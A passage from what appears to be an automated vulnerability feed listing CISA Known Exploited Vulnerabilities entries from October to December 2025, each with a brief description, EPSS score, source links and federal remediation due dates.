CISA added this entry on 2025-12-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 9, 2025; federal due date Dec 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Use After Free Vulnerability
https://kevwire.com/record/CVE-2025-62221
Microsoft Windows Use After Free Vulnerability (Dec 9, 2025).
Microsoft Windows Cloud Files Mini Filter Driver contains a use after free vulnerability that can allow an authorized attacker to elevate privileges locally.
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-62221&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-62221: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-62221&date=2026-10-25
CISA added this entry on 2025-12-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 9, 2025; federal due date Dec 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link Routers Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-37055
D-Link Routers Buffer Overflow Vulnerability (Dec 8, 2025).
D-Link Routers contains a buffer overflow vulnerability that has a high impact on confidentiality, integrity, and availability. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 55.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-37055&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-37055: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-37055&date=2026-10-25
CISA added this entry on 2025-12-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 8, 2025; federal due date Dec 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Array Networks ArrayOS AG OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-66644
Array Networks ArrayOS AG OS Command Injection Vulnerability (Dec 8, 2025).
Array Networks ArrayOS AG contains an OS command injection vulnerability that could allow an attacker to execute arbitrary commands.
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-66644&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-66644: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-66644&date=2026-10-25
CISA added this entry on 2025-12-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 8, 2025; federal due date Dec 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Meta React Server Components Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2025-55182
Meta React Server Components Remote Code Execution Vulnerability (Dec 5, 2025).
Meta React Server Components contains a remote code execution vulnerability that could allow unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints. Please note CVE-2025-66478 has been rejected, but it is associated with CVE-2025- 55182.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-55182&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-55182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-55182&date=2026-10-25
CISA added this entry on 2025-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 5, 2025; federal due date Dec 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### OpenPLC ScadaBR Unrestricted Upload of File with Dangerous Type Vulnerability
https://kevwire.com/record/CVE-2021-26828
OpenPLC ScadaBR Unrestricted Upload of File with Dangerous Type Vulnerability (Dec 3, 2025).
OpenPLC ScadaBR contains an unrestricted upload of file with dangerous type vulnerability that allows remote authenticated users to upload and execute arbitrary JSP files via view_edit.shtm.
EPSS 39.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26828&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26828: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26828&date=2026-10-25
CISA added this entry on 2025-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 3, 2025; federal due date Dec 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Framework Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2025-48633
Android Framework Information Disclosure Vulnerability (Dec 2, 2025).
Android Framework contains an unspecified vulnerability that allows for information disclosure.
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48633&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48633: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48633&date=2026-10-25
CISA added this entry on 2025-12-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 2, 2025; federal due date Dec 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Framework Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2025-48572
Android Framework Privilege Escalation Vulnerability (Dec 2, 2025).
Android Framework contains an unspecified vulnerability that allows for privilege escalation.
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48572&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48572: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48572&date=2026-10-25
CISA added this entry on 2025-12-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 2, 2025; federal due date Dec 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### OpenPLC ScadaBR Cross-site Scripting Vulnerability
https://kevwire.com/record/CVE-2021-26829
OpenPLC ScadaBR Cross-site Scripting Vulnerability (Nov 28, 2025).
OpenPLC ScadaBR contains a cross-site scripting vulnerability via system_settings.shtm.
EPSS 48.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26829&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-26829: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26829&date=2026-10-25
CISA added this entry on 2025-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 28, 2025; federal due date Dec 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Fusion Middleware Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2025-61757
Oracle Fusion Middleware Missing Authentication for Critical Function Vulnerability (Nov 21, 2025).
Oracle Fusion Middleware contains a missing authentication for critical function vulnerability, allowing unauthenticated remote attackers to take over Identity Manager.
EPSS 88.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61757&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-61757: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61757&date=2026-10-25
CISA added this entry on 2025-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 21, 2025; federal due date Dec 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2025-13223
Google Chromium V8 Type Confusion Vulnerability (Nov 19, 2025).
Google Chromium V8 contains a type confusion vulnerability that allows for heap corruption.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-13223&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-13223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-13223&date=2026-10-25
CISA added this entry on 2025-11-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 19, 2025; federal due date Dec 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiWeb OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-58034
Fortinet FortiWeb OS Command Injection Vulnerability (Nov 18, 2025).
Fortinet FortiWeb contains an OS command Injection vulnerability that may allow an authenticated attacker to execute unauthorized code on the underlying system via crafted HTTP requests or CLI commands.
EPSS 54.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58034&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-58034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58034&date=2026-10-25
CISA added this entry on 2025-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 18, 2025; federal due date Nov 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiWeb Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-64446
Fortinet FortiWeb Path Traversal Vulnerability (Nov 14, 2025).
Fortinet FortiWeb contains a relative path traversal vulnerability that may allow an unauthenticated attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.
EPSS 91.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-64446&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-64446: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-64446&date=2026-10-25
CISA added this entry on 2025-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 14, 2025; federal due date Nov 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Gladinet Triofox Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2025-12480
Gladinet Triofox Improper Access Control Vulnerability (Nov 12, 2025).
Gladinet Triofox contains an improper access control vulnerability that allows access to initial setup pages even after setup is complete.
EPSS 95.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-12480&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-12480: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-12480&date=2026-10-25
CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2025; federal due date Dec 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Race Condition Vulnerability
https://kevwire.com/record/CVE-2025-62215
Microsoft Windows Race Condition Vulnerability (Nov 12, 2025).
Microsoft Windows Kernel contains a race condition vulnerability that allows a local attacker with low-level privileges to escalate privileges. Successful exploitation of this vulnerability could enable the attacker to gain SYSTEM-level access.
EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-62215&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-62215: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-62215&date=2026-10-25
CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2025; federal due date Dec 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WatchGuard Firebox Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2025-9242
WatchGuard Firebox Out-of-Bounds Write Vulnerability (Nov 12, 2025).
WatchGuard Firebox contains an out-of-bounds write vulnerability in the OS iked process that may allow a remote unauthenticated attacker to execute arbitrary code.
EPSS 91.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-9242&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-9242: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-9242&date=2026-10-25
CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 12, 2025; federal due date Dec 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2025-21042
Samsung Mobile Devices Out-of-Bounds Write Vulnerability (Nov 10, 2025).
Samsung mobile devices contain an out-of-bounds write vulnerability in libimagecodec.quram.so. This vulnerability could allow remote attackers to execute arbitrary code.
EPSS 35.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21042&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21042: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21042&date=2026-10-25
CISA added this entry on 2025-11-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 10, 2025; federal due date Dec 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CWP Control Web Panel OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-48703
CWP Control Web Panel OS Command Injection Vulnerability (Nov 4, 2025).
CWP Control Web Panel (formerly CentOS Web Panel) contains an OS command Injection vulnerability that allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48703&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48703: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48703&date=2026-10-25
CISA added this entry on 2025-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 4, 2025; federal due date Nov 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Gladinet CentreStack and Triofox Files or Directories Accessible to External Parties Vulnerability
https://kevwire.com/record/CVE-2025-11371
Gladinet CentreStack and Triofox Files or Directories Accessible to External Parties Vulnerability (Nov 4, 2025).
Gladinet CentreStack and Triofox contains a files or directories accessible to external parties vulnerability that allows unintended disclosure of system files.
EPSS 92.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-11371&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-11371: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-11371&date=2026-10-25
CISA added this entry on 2025-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 4, 2025; federal due date Nov 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Broadcom VMware Aria Operations and VMware Tools Privilege Defined with Unsafe Actions Vulnerability
https://kevwire.com/record/CVE-2025-41244
Broadcom VMware Aria Operations and VMware Tools Privilege Defined with Unsafe Actions Vulnerability (Oct 30, 2025).
Broadcom VMware Aria Operations and VMware Tools contain a privilege defined with unsafe actions vulnerability. A malicious local actor with non-administrative privileges having access to a VM with VMware Tools installed and managed by Aria Operations with SDMP enabled may exploit this vulnerability to escalate privileges to root on the same VM.
EPSS 8.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-41244&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-41244: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-41244&date=2026-10-25
CISA added this entry on 2025-10-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 30, 2025; federal due date Nov 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### XWiki Platform Eval Injection Vulnerability
https://kevwire.com/record/CVE-2025-24893
XWiki Platform Eval Injection Vulnerability (Oct 30, 2025).
XWiki Platform contains an eval injection vulnerability that could allow any guest to perform arbitrary remote code execution through a request to SolrSearch.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24893&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24893&date=2026-10-25
CISA added this entry on 2025-10-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 30, 2025; federal due date Nov 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dassault Systèmes DELMIA Apriso Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-6204
Dassault Systèmes DELMIA Apriso Code Injection Vulnerability (Oct 28, 2025).
Dassault Systèmes DELMIA Apriso contains a code injection vulnerability that could allow an attacker to execute arbitrary code.
EPSS 79.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6204&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-6204: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6204&date=2026-10-25
CISA added this entry on 2025-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 28, 2025; federal due date Nov 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dassault Systèmes DELMIA Apriso Missing Authorization Vulnerability
https://kevwire.com/record/CVE-2025-6205
Dassault Systèmes DELMIA Apriso Missing Authorization Vulnerability (Oct 28, 2025).
Dassault Systèmes DELMIA Apriso contains a missing authorization vulnerability that could allow an attacker to gain privileged access to the application.
EPSS 73.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6205&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-6205: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6205&date=2026-10-25
CISA added this entry on 2025-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 28, 2025; federal due date Nov 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Commerce and Magento Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2025-54236
Adobe Commerce and Magento Improper Input Validation Vulnerability (Oct 24, 2025).
Adobe Commerce and Magento Open Source contain an improper input validation vulnerability that could allow an attacker to take over customer accounts through the Commerce REST API.
EPSS 94.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54236&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-54236: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54236&date=2026-10-25
CISA added this entry on 2025-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2025; federal due date Nov 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Server Update Service (WSUS) Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2025-59287
Microsoft Windows Server Update Service (WSUS) Deserialization of Untrusted Data Vulnerability (Oct 24, 2025).
Microsoft Windows Server Update Service (WSUS) contains a deserialization of untrusted data vulnerability that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59287&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-59287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59287&date=2026-10-25
CISA added this entry on 2025-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Oct 24, 2025; federal due date Nov 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Motex LANSCOPE Endpoint Manager Improper Verification of Source of a Communication Channel Vulnerability
https://kevwire.com/record/CVE-2025-61932
Motex LANSCOPE Endpoint Manager Improper Verification of Source of a Communication Channel Vulnerability (Oct 22, 2025).
